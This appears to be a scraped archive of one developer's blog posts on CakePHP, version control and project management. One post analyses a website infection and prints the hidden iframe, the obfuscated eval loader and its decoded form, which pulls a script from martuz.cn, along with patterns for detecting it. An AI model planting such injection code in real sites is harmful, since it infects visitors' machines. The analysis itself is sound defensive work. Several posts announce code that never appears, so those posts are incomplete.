So how we covered this distance from

to

?

Here are few things where we focused all our energy during the course of these 3 years.

1. Collection of data – If you’re trying to increase your success rate – you should start by finding out the reason why the project failed in first place. Back in 2006, we started collecting this data very seriously. After the project completion, we sat down and analyzed if project was success or not, if not, why it wasn’t successful, what were the main pitfalls and how this can be avoided in near future? It was hard to do at beginning but this gave us a new vision about where to focus our energies on.
2. Specifications – Our study from previous point concluded that having a bad documentation or not enough information on the project was the biggest fault why our projects failed. In order to avoid it, we started focusing more on the requirements specification as provided by client. We used to discuss every possible source of technical issue once we started the project. Spent 2-3 days on discussion of requirements, database design and things like that – so in a way we minimized potential issues we could see in future.
3. Reusability – This was personally my best one – and it ended up saving tons of time and cash on development. As we begin implementing more and more projects, we started building our reusable libraries and huge code base which helped us delivering these project in less and less time. It did not just saved our development costs but also reduced the risk of our projects drastically because a particular feature or module was already being used by hundreds (if not thousands) of users already. Now most of the feature a client asks for in our custom web development services, it’s likely that we have them deployed somewhere already. So this ultimately helped reducing our failure rate.
4. Automation – As they say ‘Defect prevention is better than defect detection’, When I first looked into it, I said to myself “maybe automated testing is just for the big companies like Microsoft”, but over this time as we developed our reusable code base I could see it becoming a necessity. And that when we started developing tests – it was an investment of time which has paid off very well. When we knew we had spent ‘x’ man hours on a feature and we knew it was working all the time with the help of automated tests – we could do business with more confidence and focus on several other parts of project development which required our attention.
5. People – Keeping your developers motivated in a project is good for project all the time. When a team believes in their work, there’s a lot of positive energy in surrounding. Though it was barely a problem with us, but we tried going next level in involving our developers to know about the client’s requirement and what users want from the software they’re developing. Again, this increased the development time, but we could afford it.

We still see a room for a lot of improvement for the next level as we collect data. Thanks for reading.

Abhimanyu Grover

1. Create a new separate directory somewhere on your machine (say 3rdpartytools)
2. Create a batch file here called cake.bat with following contents:

   @echo off

   ..\cake\console\cake %*

3. Now, add this directory to your ‘Path’ variable (environment variable) from control panel.
4. Restart windows and you’re done.

Now to activate CakePHP shell, just open ‘cmd’ from working app directory and type your favorite command like ‘cake schema generate –f’ or anything. What happens behind the scene? Our own cake.bat is called after we issue a command, which then passes execution to console’s cake.bat.

Hope it saves you some time.

Invoice Dude is currently under private beta phase (which means accounts are limited) and once we get out of it, we’re going to launch some add-ons. The add-ons list is not yet decided however we invite community once again to take part in it and vote for the most needed add-ons.

We plan to launch such similar projects in near future and look forward to the feedback of community. If you have any suggestions regarding the software, please tell us.

<iframe src=”http://goooogleadsence.biz/?click=8F9DA” width=1 height=1 style=”visibility:hidden;position:absolute”></iframe>

echo “<iframe src=\”http://goooogleadsence.biz/?click=8F9DA\” width=1 height=1 style=\”visibility:hidden;position:absolute\”></iframe>”;

After that, code got better and less readable. And now the final version looks like this:

<!–

(function(KWaP){var hSgtJ=’:76a:72:20a:3d:22ScriptEngine:22:2c:62:3d:22:56:65rs:

69on()+:22:2cj:3d:22:22:2cu:3dn:61vigato:72:2eus:65:72:41gent:3bif((u:2einde:78Of(:

22Chrom:65:22):3c0:29:26:26(u:2e:69nd:65:78Of(:22Win:22):3e0):26:26(:75:2eindex:

4ff(:22:4eT:206:22):3c0):26:26(d:6f:63um:65nt:2ecookie:2ei:6edex:4ff(:22miek:3d1:

22):3c0):26:26:28:74y:70e:6f:66(:7arvz:74s:29:21:3dtyp:65:6ff:28:22A:22))):

7bz:72:76zt:73:3d:22A:22:3be:76al(:22if(:77indow:2e:22+:61+:22)j:3dj+:22+:61+:22:

4dajo:72:22+b+:61+:22Mi:6eo:72:22+b:2ba+:22B:75ild:22+:62+:22j:3b:22):

3bdocument:2ewrite(:22:3c:73:63r:69:70:74:20src:3d:2f:2fma:22:2b:22rt:75z:2e:63n:

2f:76i:64:2f:3f:69d:3d:22+j+:22:3e:3c:5c:2f:73cript:3e:22):3b:7d’;

eval(unescape(hSgtJ.replace(KWaP,’%')))})(/\:/g);

–>

Let’s reverse engineer it for fun. See that little evil eval()? Replace it by alert() or any other logger function like console.log() for Firebug. That will give us:

<!–

var a=”ScriptEngine”,b=”Version()+”,j=”",u=navigator.userAgent;if((u.indexOf(”Chrome”)<0)&&(u.indexOf(”Win”)>0)&&(u.indexOf(”NT 6″)<0)&&(document.cookie.indexOf(”miek=1″)<0)&&(typeof(zrvzts)!=typeof(”A”))){zrvzts=”A”;

eval(”if(window.”+a+”)j=j+”+a+”Major”+b+a+”Minor”+b+a+”Build”+b+”j;”);document.write(”<script src=//ma”+”rtuz.cn/vid/?id=”+j+”><\/script>”);}

–>

That *.cn domain is back again. To find this new injection, common pattern you need to lookup is as below:

3bdocument:2ewrite(:

Some other patterns you might want to check:

document.write(’<iframe

www.zj5173.com

How to clean your website?

Use ‘grep’ command or any other tool for Windows like PowerGrep. Other possible idea for an advanced user to avoid these attacks is to use a version control tool, and keep your site as a checked out copy. The advantage using this method is that you’ll know all the modified files just by issuing simple “svn status” command.

You can also contact us directly if you need assistance on this. We’ve helped securing over 50+ websites in last 3 months.

But here comes the problem. The clients who are not willing to use such tools. Or are simply not giving you authorization to do so, or they are using shared hosting environment. I’ve seen this problem with my 5 out of 10 clients. They have a reason to stop you – they were never asked for this before from their previous development companies or whatsoever. Then, there are clients who say “Use ftp” when you ask them to send SSH access, this limits the productivity of the whole system and the project. However, I consider it as my call to make them aware of the things which can help them – and that is why I’m writing this post today.

So by this post, I actually want to highlight the advantages offered by any version control system over the regular FTP transfer for deployment – I’m sure this will help the buyers who don’t allow much control in hands of their web developers. Ok, here we go, these are some real BIG limitations you know you’ll face using FTP:

1. Initial setup is always easy, updating and bug fixes and applying patches is difficult using FTP. You spend 10x more time being careful for things that can be handled automatically.
2. You have to wait for the files to upload/download.
3. If something goes wrong, it’s really difficult to revert to “last stable” state.

And when you’re using Subversion or any other version control tool for that matter – All these issues are no more your concern, and you can focus on real development rather than finding files and stuff. Here are some advantages offered by a standard version control system:

1. To apply patches, you simply issue “svn up” command to the system (In case of subversion). It automatically updates the modified files.
2. In case there’s something wrong, you can go back to any old revision and have your site running as it was. Using Subversion’s advanced features and proper versioning; you can also define a “last stable” version and be safe all the times.
3. You don’t have to worry about latest back – everything is on a separate server with all revisions.

This is just a start – many things are eventually taken care of while using a version control. However, there are many other automated ways for this purpose, some people like using “rsync”, some rely on application servers and so.

I’m hoping that it’ll help buyers understand our offering better. Thanks for reading.

Abhimanyu Grover

Let's try hacking the FormHelper and enable AJAX. We'll use jQuery Form plugin to submit forms via AJAX request (I don't know any other good plugins for forms).

What we'll be doing:

Converting a normal form like below one, to make it call AJAX(using jQuery lib) and alert us when form posted:

1. Extend your FormHelper to something like AjaxFormHelper (Now normally I don't extend core helpers like this, but use a similar method similar to this (comment by grigri): http://cakebaker.42dh.com/2008/10/18/dont-abuse-the-apphelper-to-extend-the-core-helpers/#comment-110708 ) and overwrite create() method like this:

I'm not that good in explaining code flow, but you might have noted 3 get variables appended to our form action URL above. These variables are: 'ajax','flash_only' ,'js' and serves their own purpose that I'll tell in next steps.

2. Now we enable the AJAX in our form (CakePHP's $options array is so good that you can overwrite and modify almost many methods easily):

This will show a JS alert after form has been submitted successfully.

This will show an inline message after form has been submitted successfully.

Note that ajax=true parameter we sent in create() method. This will tell helper to load this form via AJAX.

3. Now your form will be AJAX ready (if you've included this AjaxFormHelper properly). But because our controller function was made to process normal POST function, and flash message on success – we'll have to change that behavior. This is what a normal JerksController::add() method should look like:

We don't need full action content from views/jerks/add.ctp to appear in response when AJAX is called. We can make this work traditional way by checking if it's an AJAX request in controller method itself and do needful, but I wouldn't want to modify all my controller functions to enable AJAX, so here's what I've come up with.

Remember the 3 GET variables above?

'ajax' => This one will determine if a given HTTP request is an AJAX request.

'flash_only' => This will tell if rendering should happen or not. Flash only means, after controller function is executed, do not render, just show flash message.

'js' => This is used for alert type, if this is not set, show inline alert. If set true, helper must show JS alert() on form success.

Inside your AppController::beforeFilter(), add this code:

Do not blame me for using GET variables, I found many issues with 'named' so I'm relying on normal GET variables.

Now you'll need to edit ajax.ctp layout file.

This should be self explanatory, even though this code definitely needs some refactoring. We're basically manipulating those 3 GET variables according to our need. In process, we're also checking validation errors occurred in form.

I have not used it under the production environment yet, so I'd really like to hear any pitfalls (if any) using this approach. Thanks for reading.

Abhimanyu Grover

To use it, just include this helper in your controller and Its implementation is very simple:

1. For inline content:

2. For AJAX:

Here's the helper:

You'll need to copy the thickbox files to /app/webroot/effects. You can keep it in any folder for that matter, but as our team is following plugins – it's made that way.

- Abhimanyu Grover

If one start browsing through it, will easily find everything from File disclosure attacks to SQL injections. And it's just not that, in most of the reported security issues, people have even published a test script or attacker code which can actually run from anyone's computer increasing number of possible attackers who are not just aware of the flaw, but are provided with the real tools now, to do what they want with a victim website. I've seen many websites went down in huge amount when such vulnerabilities are out in public. One of the biggest vulnerabilities in phpBB, an open source forum, was released few years back. It allowed any attacker to gain shell access to the victim website, and yes, I did tried it on my server before fixing the code. I seen like hundreds of websites went down in a matter of few hours. Later, the flaw was such a big hit to phpBB, that it was named as a worm. You can see BBC news article for stats etc. on it.

My clients ask me, 'this new open source technology is cool; we would like to go with it. What do you think?' I often stop and think for a second. Sometimes, I also try to explain them about positive and negative aspects related to it. I know decision to use open source technology will save time and budget anyway, so I keep decision on them most of the time. But I know it's not as safe as a custom-made app, I believe using something which is accessible to thousands of people comes with its own disadvantages (and advantages too, for that matter).

So should you really stop using Wordpress or Joomla or any other open source tech?

No, and Yes. First, you got to accept a thing. By choosing an open source app, you're keeping yourself a bit opened for attacks somehow – you have to accept that fact. But some good open source projects like Joomla, Wordpress, phpBB and many other with big communities are more responsive to such attacks, in just few hours when such vulnerability is out in public, they release security updates and have good platform to notify people using them. Sometimes these project owners are informed even before the attack is made public itself. Still, you can't trust a community if you are handling sensitive data or sensitive operations with your application. I wouldn't recommend any open source web app to any government institution, never ever for the same reason.

So, Open source with a backup of big community is good enough?

No matter how good a project's community might be or how bad, in any case, you have to keep your eyes open to such new vulnerabilities. If you've just launched an app, and kept it ignored on a server for months, you're likely to get hacked before any other active website. Remember, a good administration is must when using open source web apps. I highly recommend that either you keep an eye on such alerts or let your developers do the job. Like they say, Prevention is better than cure. Being proactive in preventing an attack is much easier rather than getting back online after your app is compromised because of some vulnerability.

What do we recommend?

• Keep an eye on security updates from project's website
• Always use the latest stable version of software, and update it timely
• Keep an eye on advisories boards or such website (Best thing, is to create a Google web alert to let you alert when something like this is out)
• Timely Automated backups

If you're not already doing it, I highly recommend you getting on it from today if you really care about your website. Hope this helps. Thanks for reading.

- Abhimanyu Grover

Many developers use SMTP server running on their local host, others use some sort of complicated script, while others might be dependent on external SMTP servers for testing of outgoing mails from their web app. We were also using some sort of SMTP server for testing our outgoing emails, but if you want to see the best way to do so, here's this:

Test Mail Server tool

The program listens on localhost on a SMTP port (usually 25, may be changed). All mail sent to this tool is automatically stored and optionally opened with your mail client.

This cool tool will save you extra time opening your mailbox everytime after you carry out an email test or something. It has worked great for me.

Let me describe the problem first briefly. There was this comic I saw few days back (can't find it right now), which inspired me to solve this problem. Here goes the text from that cartoon:

Alex: Ok, we're ready, let's sync our work on this project today to show to client.

Rob: Ok sure, let me see the database changes and put it to server.

Alex: Oh yea, let me do it too.

Rob: Hey, I made this change, is it yours? And what about this? Where are you using it?

Alex: Yes-No-Yes-….

Boss: And we're screwed.

That was happening all the time with our team too, before I found this way.

Here's how it works:

1. Setup

Assuming that you already have a working project to implement db versioning on, start command line console from your 'app' directory. And then run 'cake schema help' to make sure you have the shell, or for necessary instructions.

2. Generate first Schema

After you see it working fine, lets output our whole DB structure into a dump file, it's not SQL dump file, its schema file which is in Cake-friendly format. You can play with other commands like 'schema view' to make sure things works. Ok, let's generate our schema with 'cake schema generate'.

Ok, schema.php generated, it would be inside your app/config/sql

Here's how the file will look:

Looks good (with the sample db). Now as you have a file for the whole database, you can put it in a repository under version control along with your project.

3. Update Schema

Since, there will be changes in database throughout the development of the project, and they will be done by many other developers. We'll need to keep a track of it, to do so, we'll make sure schema files remains updated always – this is something you'll have to instruct your team about.

Let's make a sample change and see how it goes. In my users table, I am going to add a new field called 'password' and then regenerate my schema file.

ALTER TABLE `users` ADD `password` VARCHAR( 20 ) NOT NULL ;

Lets regenerate schema now:

CakePHP's Schema shell had detected the change automatically, and prompted me if I want to over-write the current schema or snapshot it (create a new one). In my case, I want to overwrite it as I already have it in version control. Let's see what new schema looks like:

You see the 'password' field was reflected here as well. Now you can keep your whole DB structure under this schema file with version controlling. However, we've yet to sync the database across different machines. Let's say after updating (svn up) on my local setup, I got a new schema which I would like to implement on my database. Here's how you'll do that in next step.

4. Syncing

Let's assume the other user has added a field 'address' in his database, and regenerated the schema. Now I want same change to reflect on my local database. Here's new updated schema looks like (it's only a part of the schema.php file):

Now there are normally 2 options to update your database:

• you drop all tables and then import fresh DB structure from schema.
• Just update (We need this one)

Here's what you'll do:

And done, our database is now synced. You can run the same process across different machines to never worry about manual syncing. [Please note by 'sync' I mean only the structure not the records.]

Hope you enjoyed it!

Abhimanyu Grover